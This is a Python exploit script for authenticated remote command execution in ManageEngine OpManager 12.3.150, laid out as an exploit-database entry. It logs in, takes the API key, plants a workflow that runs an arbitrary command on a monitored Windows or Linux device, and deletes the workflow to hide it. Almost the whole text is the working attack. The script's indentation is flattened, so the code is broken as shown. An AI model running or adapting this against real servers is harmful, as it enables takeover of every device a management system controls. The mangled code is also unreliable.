Share
#!/usr/bin/env python3  
  
# Exploit Title: ManageEngine opManager Authenticated Code Execution  
# Google Dork: N/A  
# Date: 08/13/2019  
# Exploit Author: @kindredsec  
# Vendor Homepage: https://www.manageengine.com/  
# Software Link: https://www.manageengine.com/network-monitoring/download.html  
# Version: 12.3.150  
# Tested on: Windows Server 2016  
# CVE: N/A  
  
import requests  
import re  
import random  
import sys  
import json  
import string  
import argparse  
  
C_WHITE = '\033[1;37m'  
C_BLUE = '\033[1;34m'  
C_GREEN = '\033[1;32m'  
C_YELLOW = '\033[1;33m'  
C_RED = '\033[1;31m'  
C_RESET = '\033[0m'  
LOGIN_FAIL_MSG = "Invalid username and/or password."  
  
def buildRandomString(length=10):  
letters = string.ascii_lowercase  
return ''.join(random.choice(letters) for i in range(length))  
  
  
def getSessionData(target, user, password):  
  
session = requests.Session()  
session.get(target)  
  
# Login Sequence  
randSid = random.uniform(-1,1)  
getParams = { "requestType" : "AJAX" , "sid" : str(randSid) }  
postData = { "eraseAutoLoginCookie" : "true" }  
session.post( url = target + "/servlets/SettingsServlet", data = postData, params = getParams )  
  
postData = { "loginFromCookieData" : "false",  
"ntlmv2" : "false",   
"j_username" : user,  
"j_password" : password   
}  
initialAuth = session.post( url = target + "/j_security_check", data = postData )   
  
  
if LOGIN_FAIL_MSG in initialAuth.text:  
  
print(f"{C_RED}[-]{C_RESET} Invalid credentials specified! Could not login to OpManager.")  
sys.exit(1)  
  
elif initialAuth.status_code != 200:  
print(f"{C_RED}[-]{C_RESET} An Unknown Error has occurred during the authentication process.")  
sys.exit(1)  
  
apiKeyReg = re.search(".*\.apiKey = .*;", initialAuth.text)  
apiKey = apiKeyReg.group(0).split('"')[1]  
  
return { "session" : session , "apiKey" : apiKey }  
  
  
  
  
def getDeviceList(target, session, apiKey):  
  
deviceList = session.get( target + "/api/json/v2/device/listDevices" , params = { "apiKey" : apiKey } )  
  
devices = {}  
devicesJsonParsed = json.loads(deviceList.text)  
for row in devicesJsonParsed["rows"]:  
devices[row["deviceName"]] = [ row["ipaddress"], row["type"] ]  
  
return devices  
  
  
  
def buildTaskWindows(target, session, apiKey, device, command):  
  
# Build Task  
taskName = buildRandomString()  
workFlowName = buildRandomString(15)  
  
jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""  
jsonData += '"' + taskName + '"'  
jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"cmd.exe /c ${FileName}.bat ${DeviceName} ${UserName} ${Password} arg1","scriptBody":"""   
jsonData += '"' + command + '"'  
jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""  
jsonData += '"' + workFlowName + '"'   
jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""  
jsonData += '"' + device + '"'   
jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""  
jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""  
jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""  
  
makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })  
  
if "has been created successfully" in makeWorkFlow.text:  
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")  
else:  
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")  
sys.exit(1)  
  
return workFlowName  
  
  
def buildTaskLinux(target, session, apiKey, device, command):  
  
taskName = buildRandomString()  
workFlowName = buildRandomString(15)  
  
jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""  
jsonData += '"' + taskName + '"'  
jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"sh ${FileName} ${DeviceName} arg1","scriptBody":"""   
jsonData += '"' + command + '"'  
jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""  
jsonData += '"' + workFlowName + '"'   
jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""  
jsonData += '"' + device + '"'   
jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""  
jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""  
jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""  
  
makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })  
  
if "has been created successfully" in makeWorkFlow.text:  
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")  
else:  
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")  
sys.exit(1)  
  
return workFlowName  
  
  
# Get the ID of the newly created workflow  
def getWorkflowID(target, session, apiKey, workflowName):  
  
getID = session.get(url = target + "/api/json/workflow/getWorkflowList", params = { "apiKey" : apiKey })  
  
rbID = -100  
workflowJsonParsed = json.loads(getID.text)  
for wf in workflowJsonParsed:  
if wf['name'] == workflowName:  
rbID = wf['rbID']   
  
if rbID == -100:   
print(f"{C_RED}[-]{C_RESET} Issue obtaining Workflow ID. Exiting ...")  
sys.exit(1)  
  
return rbID  
  
  
def getDeviceID(target, session, apiKey, rbID, device):  
  
getDevices = session.get(url = target + "/api/json/workflow/showDevicesForWorkflow", params = { "apiKey" : apiKey , "wfID" : rbID })  
wfDevicesJsonParsed = json.loads(getDevices.text)  
wfDevices = wfDevicesJsonParsed["defaultDevices"]  
deviceID = list(wfDevices.keys())[0]  
  
return deviceID  
  
  
  
def runWorkflow(target, session, apiKey, rbID, device):  
  
targetDeviceID = getDeviceID(target, session, apiKey, rbID, device)  
  
print(f"{C_YELLOW}[!]{C_RESET} Executing Code . . .")  
workflowExec = session.post(target + "/api/json/workflow/executeWorkflow", params = { "apiKey" : apiKey }, data = { "wfID" : rbID, "deviceName" : targetDeviceID, "triggerType" : 0 } )  
  
if re.match(r"^\[.*\]$", workflowExec.text.strip()):  
print(f"{C_GREEN}[+]{C_RESET} Code appears to have run successfully!")  
else:  
print(f"{C_RED}[-]{C_RESET} Unknown error has occurred. Please try again or run the process manually.")  
sys.exit(1)  
  
deleteWorkflow(target, session, apiKey, rbID)  
print(f"{C_GREEN}[+]{C_RESET} Exploit complete!")  
  
  
def deleteWorkflow(target, session, apiKey, rbID):  
  
print(f"{C_YELLOW}[!]{C_RESET} Cleaning up . . .")  
delWorkFlow = session.post( target + "/api/json/workflow/deleteWorkflow" , params = { "apiKey" : apiKey, "wfID" : rbID })  
  
  
def main():  
  
parser = argparse.ArgumentParser(description="Utilizes OpManager's Workflow feature to execute commands on any monitored device.")  
parser.add_argument("-t", nargs='?', metavar="target", help="The full base URL of the OpManager Instance (Example: http://192.168.1.1)")  
parser.add_argument("-u", nargs='?', metavar="user", help="The username of a valid OpManager admin account.")  
parser.add_argument("-p", nargs='?', metavar="password", help="The password of a valid OpManager admin account.")  
parser.add_argument("-c", nargs='?', metavar="command", help="The command you want to run.")  
  
args = parser.parse_args()  
  
insufficient_args = False  
if not args.u:  
print(f"{C_RED}[-]{C_RESET} Please specify a username with '-t'.")  
insufficient_args = True  
if not args.t:  
print(f"{C_RED}[-]{C_RESET} Please specify a target with '-t'.")  
insufficient_args = True  
if not args.p:  
print(f"{C_RED}[-]{C_RESET} Please specify a password with '-p'.")  
insufficient_args = True  
if not args.c:  
print(f"{C_RED}[-]{C_RESET} Please specify a command with '-c'.")  
insufficient_args = True  
  
if insufficient_args:  
sys.exit(1)  
  
  
sessionDat = getSessionData(args.t, args.u, args.p)  
session = sessionDat["session"]  
apiKey = sessionDat["apiKey"]  
  
devices = getDeviceList(args.t, session, apiKey)  
  
# if there's only one device in the OpManager instance, default to running commands on that device;  
# no need to ask the user.  
if len(devices.keys()) == 1:  
device = list(devices.keys())[0]  
else:  
print(f"{C_YELLOW}[!]{C_RESET} There appears to be multiple Devices within this target OpManager Instance:")  
print("")  
counter = 1  
for key in devices.keys():  
print(f" {counter}: {key} ({devices[key][0]}) ({devices[key][1]})")  
  
print("")  
while True:  
try:  
prompt = f"{C_BLUE}[?]{C_RESET} Please specify which Device you want to run your command on: "  
devSelect = int(input(prompt))  
except KeyboardInterrupt:  
sys.exit(1)  
except ValueError:  
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")  
sys.exit(1)  
  
if devSelect < 1 or devSelect > len(list(devices.keys())):  
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")  
sys.exit(1)  
  
else:  
device = list(devices.keys())[counter - 1]  
break  
  
# don't hate, it works doesn't it?  
if "indows" in devices[device][1]:  
workflowName = buildTaskWindows(args.t, session, apiKey, device, args.c)  
else:  
workflowName = buildTaskLinux(args.t, session, apiKey, device, args.c)  
  
workflowID = getWorkflowID(args.t, session, apiKey, workflowName)  
runWorkflow(args.t, session, apiKey, workflowID, device)  
  
  
main()